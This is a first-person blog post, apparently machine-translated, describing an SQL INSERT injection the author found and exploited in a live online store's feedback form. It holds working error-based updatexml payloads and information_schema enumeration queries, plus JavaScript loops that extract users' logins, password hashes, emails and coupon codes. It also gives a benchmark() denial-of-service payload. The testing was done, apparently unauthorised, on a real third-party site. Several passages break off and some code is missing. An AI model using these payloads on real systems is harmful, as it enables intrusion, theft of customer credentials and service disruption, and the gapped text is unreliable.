SQL Insert Injection in one online store

For a long time on Habré stories about SQL injection did not sound. And there are generally very few stories from the life of SQL INSERT injection. Therefore, I will tell mine.

Start



To try to send an error report via the feedback form, for a couple of seconds an error appeared on the page, in which MySQL voice was guessed. Therefore, I opened the browser console, repeated the request and looked into the server response:

Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 11:36:37', '', 'Max', '< >@gmail.com', '', ',     '<>@B.ru'    .', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0'); 

So, SQL insert injection was found in the online store, to which I gave my blood.

First of all, I found a couple of decent materials on the topic. The most interesting of them is SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa) . Thanks to him, the glance fell on the updatexml function, which appeared in MySQL 5.1 (i.e. if it does not work, then it will be possible to draw the appropriate conclusion:

UpdateXML (xml_target, xpath_expr, new_xml)

The meaning of using the function is to create in advance the wrong XPath Expression (second argument). For this, Osanda proposes to do concatenation with the "~" character. Well, check in local MySQL:

 mysql> select updatexml(1, '123', 0) from dual; +------------------------+ | updatexml(1, '123', 0) | +------------------------+ | NULL | +------------------------+ 1 row in set (0,00 sec) mysql> select updatexml(1, '~123', 0) from dual; ERROR 1105 (HY000): XPATH syntax error: '~123' 

Yes it works. Now we create the message body for our store. The first request turned out to look like this:

 message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--' 

Then I thought a little and reduced it to:

 ' or updatexml(1,concat(0x7e,(version())),0) or ' 

Online store response:

 Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0'); 

It worked! Everything revolves on MariaDB 5.5. Differences from MySQL are minimal, version 5.5 supports many useful operators and functions. Walking through data typical of such situations, I pulled out the following information:

 version: 5.5.41-MariaDB-log hostname: db-www user: A@ABru database: A 

Now you can try the full SQL queries. First of all, for the sake of interest, I write this:

 ' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or ' 

But, of course, was refused:

 Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'ABru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0'); 

Now you need to get a list of tables in the current database. To do this, use the information_schema meta table available with MySQL 5.0:

 ' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or ' 

By changing the first parameter in the LIMIT statement, you can loop through all the current tables. I had enough for

I decide to automate. This is an AJAX POST request and jQuery is enabled on the site. We need to send several requests at once - this is asynchronous work, so I decided to immediately load the async library and try using it to get the desired list of tables. Turned out



Thus, I received a list of the first 20 tables, but I realized that at the same time sending a lot of requests was not good (the server responded to the last of them within 20 seconds). I decided that it was not worth threatening the stability of the store and changed the function async.times to async.timesSeries so that each next request would be sent after receiving a reply to the previous one. Changed the parameter lim from 20 to 200 and went for a cup of tea. When I returned, I was at my disposal

From this list it became clear two facts: there is a Joomla and the amount of useful information is limited to 32 characters. And we cannot remove the first of them ("~"), which means we have only 31 characters. Well, not so little. There were a lot of interesting tables (3 tables * users and aabb_jshopping_coupons). First, I investigated the structure of the users table, modifying the injection variable:

 ' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or ' 

 id, login, password, email, tel, name, firma, active, date, role 

Then its contents using the function CONCAT_WS :

 ' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or ' 

But each record turned out to be exactly 31 characters long due to an excess of information, so first it was necessary to overcome this limitation. To do this, I decided to use the SUBSTRING function, and implement the receipt of a new portion of data through recursion. The result was



According to this algorithm, the data will be pulled out even longer, but completely. Now you can create your own requests separately from the general logic:

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj) 

And the first 30 lines of the users table in the browser console.

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj) 

Further I will describe only the most interesting moments.

Coupons, incl. for Habr and Giktayms, proved to be overdue. Yes, and I already bought my toy.

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj) 

')

All tables are full length for all available databases:

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '" } ajax93t411(62, 100, inj); //  62 -   information_schema ajax93t411(162, 100, inj); 

As it turned out, not only the online store ABru works on Joomla, but also the same B.ru store on it and on the same server. But I did not see any prospects from researching another site. In the end, my goal was not to gain money. So I decided that reading the data is good, but ...



Is it possible to write something down?



As it turned out, no. Since only subqueries are available to us. I decided that it was worth trying all the same work with files. But in order not to harm the online store with my careless actions, I will transfer the narration to my own car, where I spent



Posted in online storeReceivedThinking, sent



Next day



There is no response to the second letter. Well, okay. Exactly a day later I went to the same page with a feedback form. Now in the input field all specials are filtered. characters, of course, on the client side. Well, well done, it remains to hope that this is just a patch at the time of correcting real errors. In the meantime, I decided to continue research - I want to understand to the end.



As it turned out, the useful part of the error text in the response from MariaDB is not always 32 characters. When you try to get the text in Russian, you can only get 16 characters. Checked on MySQL - the same. This means that the limit is not 32 characters, but 32 bytes. Well, I redid the ajax93t411 utility:



Now the program does not depend on the constant length, but continues to search for the end of the line until an error is returned (that is, the answer with the error text is not in the format in which the program expects it). Yes, a little more requests. But there is no problem with the texts in non-latin encodings. In addition, I got rid of the dependence on the async library (it was present for the speed of developing and testing the results). It also added the ability to not specify a specific number of rows in the table to be obtained, but to recursively receive all available (before the error). And also added the output of the work directly to the page of the site to make it easier to view.



Are the terrible consequences of such a vulnerability?



As we have already found out, it is impossible to write something to the file or read from it, even if the user has rights to do so. But we have in the pocket of the table with passwords and email. addresses of all users and administrators. Personally, I did not even try to select them and enter the site - I do not need it. Nevertheless, it can be stated that it is possible to read any information from the current database, and in our case from the neighboring one.

Another possibility that can be discovered by a similar vulnerability is a DoS attack, for example, with this substitution:

 ' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or ' 

A week later



I decided to write



There was no answer as before.



PS: Article published 13 days after the discovery of the vulnerability. Representatives of the online store do not contact us.